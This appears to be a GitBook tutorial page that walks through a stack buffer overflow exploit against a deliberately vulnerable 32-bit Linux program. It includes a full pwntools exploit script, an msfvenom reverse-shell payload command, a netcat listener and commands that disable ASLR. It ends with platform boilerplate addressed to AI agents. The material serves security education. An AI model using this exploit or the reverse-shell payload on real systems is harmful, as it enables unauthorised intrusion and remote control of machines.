> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/stack-buffer-overflows/writing-an-exploit-1.md).

# Writing an Exploit 1

## Basic Stack Buffer Overflow Exploit Development

This README explains how to build a basic stack buffer overflow exploit on Linux x86 using:

* GDB + GEF
* Pwntools
* msfvenom

We will learn:

1. Crash the program
2. Find EIP offset
3. Control EIP
4. Find JMP ESP
5. Generate shellcode
6. Build final payload
7. Execute exploit

***

## What Happens in a Buffer Overflow

Suppose a program copies too much user input into a stack buffer.

If input becomes larger than the buffer:

```
Buffer -> Saved EBP -> Saved EIP
```

we overwrite:

```
EIP = Instruction Pointer
```

Controlling EIP means controlling program execution.

***

## Vulnerable Program

Example vulnerable code:

```c
#include <stdio.h>
#include <string.h>

void vuln(char *input)
{
    char buffer[128];

    strcpy(buffer, input);
}

int main(int argc, char *argv[])
{
    vuln(argv[1]);

    return 0;
}
```

Compile:

```bash
gcc -m32 -fno-stack-protector -z execstack -no-pie vuln.c -o vuln
```

Explanation:

* `-m32` → compile 32-bit binary
* `-fno-stack-protector` → disable stack canary
* `-z execstack` → make stack executable
* `-no-pie` → disable PIE

***

## Step 1 — Crash the Program

Generate cyclic pattern:

```bash
python3 -c "from pwn import *; print(cyclic(300))" | xargs ./vuln
```

Program crashes with SIGSEGV.

***

## Step 2 — Find EIP Offset

Open GDB:

```bash
gdb ./vuln
```

Run with cyclic pattern:

```gdb
run $(python3 -c "from pwn import *; print(cyclic(300))")
```

After crash:

```gdb
info registers
```

Example:

```
EIP = 0x6261616b
```

Now calculate offset:

```bash
python3 -c "from pwn import *; print(cyclic_find(0x6261616b))"
```

Example output:

```
140
```

So:

```python
OFFSET = 140
```

Meaning:

```
140 bytes required to reach EIP
```

***

## Step 3 — Confirm EIP Control

Create test payload:

```python
payload = b"A" * 140
payload += b"BBBB"
```

Run program.

Inside GDB:

```
EIP = 0x42424242
```

Explanation:

```
0x42 = ASCII B
```

So:

```
BBBB -> 0x42424242
```

This confirms we fully control EIP.

***

## Step 4 — Find Executable Memory

Inside GDB:

```gdb
vmmap
```

Example:

```
0xf7d88000 0xf7f12000 r-x /usr/lib32/libc.so.6
```

We search executable (`r-x`) memory regions.

***

## Step 5 — Find JMP ESP

### Why JMP ESP

After EIP overwrite:

```
EIP -> JMP ESP
```

CPU executes:

```asm
jmp esp
```

ESP points to our shellcode on the stack.

So execution jumps directly to our payload.

***

## Why Search `FF E4`

Machine code for:

```asm
jmp esp
```

is:

```
FF E4
```

So we search memory for those bytes.

***

## Search for JMP ESP

Inside GDB:

```gdb
find /b 0xf7d88000, 0xf7f12000, 0xff, 0xe4
```

Example output:

```
0xf7e9707d
1 pattern found.
```

Verify instruction:

```gdb
x/i 0xf7e9707d
```

Output:

```
=> 0xf7e9707d: jmp esp
```

So:

```python
JMP_ESP = 0xf7e9707d
```

<img src="https://github.com/user-attachments/assets/0d021c51-f3e5-48fb-9de5-9dab599f9169" alt="image" height="467" width="571">

***

## Step 6 — Generate Shellcode

Use msfvenom:

```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f py
```

<img src="https://github.com/user-attachments/assets/f8e8c377-9d53-4182-985f-889aa453f18c" alt="image" height="343" width="792">

Explanation:

* `linux/x86/shell_reverse_tcp` → reverse shell payload
* `LHOST` → attacker IP
* `LPORT` → attacker port
* `-b "\x00"` → avoid NULL bytes
* `-f py` → Python format

Example output:

```python
shellcode = (
    b"\xdb\xc0\xd9\x74\x24\xf4..."
)
```

***

## Step 7 — NOP Sled

NOP opcode:

```
\x90
```

NOP means:

```
No Operation
```

CPU executes it and moves forward.

NOP sled helps execution safely slide into shellcode.

Example:

```python
nop_sled = b"\x90" * 16
```

Memory layout:

```
NOP NOP NOP NOP SHELLCODE
```

***

## Step 8 — Build Final Payload

Final exploit:

```python
from pwn import *

OFFSET  = 140
JMP_ESP = 0xf7e9707d

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f py
shellcode = (
    b"\xdb\xc0\xd9\x74\x24\xf4\x5a..."
)

nop_sled = b"\x90" * 16

payload  = b"A" * OFFSET
payload += p32(JMP_ESP)
payload += nop_sled
payload += shellcode

p = process(["./vuln", payload])
p.interactive()
```

***

## Why We Use `p32()`

x86 uses little endian.

Address:

```
0xf7e9707d
```

must become:

```
\x7d\x70\xe9\xf7
```

Pwntools handles this automatically:

```python
p32(JMP_ESP)
```

***

## Final Stack Layout

```
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
JMP ESP ADDRESS
NOP NOP NOP NOP
NOP NOP NOP NOP
SHELLCODE
```

Execution flow:

```
Function returns
        ↓
EIP overwritten
        ↓
EIP = JMP ESP
        ↓
jmp esp executes
        ↓
ESP points to NOP sled
        ↓
slides into shellcode
        ↓
shellcode executes
```

<img src="https://github.com/user-attachments/assets/1e71907e-485c-4957-b606-6dd21feabee1" alt="image" height="481" width="605">

## Start Listener

For reverse shell:

```bash
nc -lvnp 4444
```

<img src="https://github.com/user-attachments/assets/415f4f22-b4d0-44fb-891e-7e709cd969e6" alt="image" height="74" width="373">

Then run exploit.

If successful:

```
connection received
```

You now have shell access.

***

## Useful Commands

### Generate Pattern

```python
cyclic(300)
```

### Find Offset

```python
cyclic_find(value)
```

### View Registers

```gdb
info registers
```

### View Memory Map

```gdb
vmmap
```

### Search for JMP ESP

```gdb
find /b START, END, 0xff, 0xe4
```

### Verify Gadget

```gdb
x/i ADDRESS
```

### Check Security

```bash
checksec ./vuln
```

***

## Important Notes

### Modern Protections

Real systems may have:

* NX
* ASLR
* PIE
* Stack Canary
* RELRO

Basic JMP ESP exploits usually work only on intentionally vulnerable binaries.

***

## Common Problems

### Bad Characters

Some bytes may terminate input:

```
\x00
\x0a
\x0d
```

Avoid them using:

```bash
-b "\x00"
```

***

### ASLR

Disable temporarily for practice:

```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

Enable again:

```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```

***

## Summary

Workflow:

```
Crash Program
      ↓
Find EIP Offset
      ↓
Control EIP
      ↓
Find JMP ESP
      ↓
Generate Shellcode
      ↓
Build Payload
      ↓
Get Shell
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/stack-buffer-overflows/writing-an-exploit-1.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
